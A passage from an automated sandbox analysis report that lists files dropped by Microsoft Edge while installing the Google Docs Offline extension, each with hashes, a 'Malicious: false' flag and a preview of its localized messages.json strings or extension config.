SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
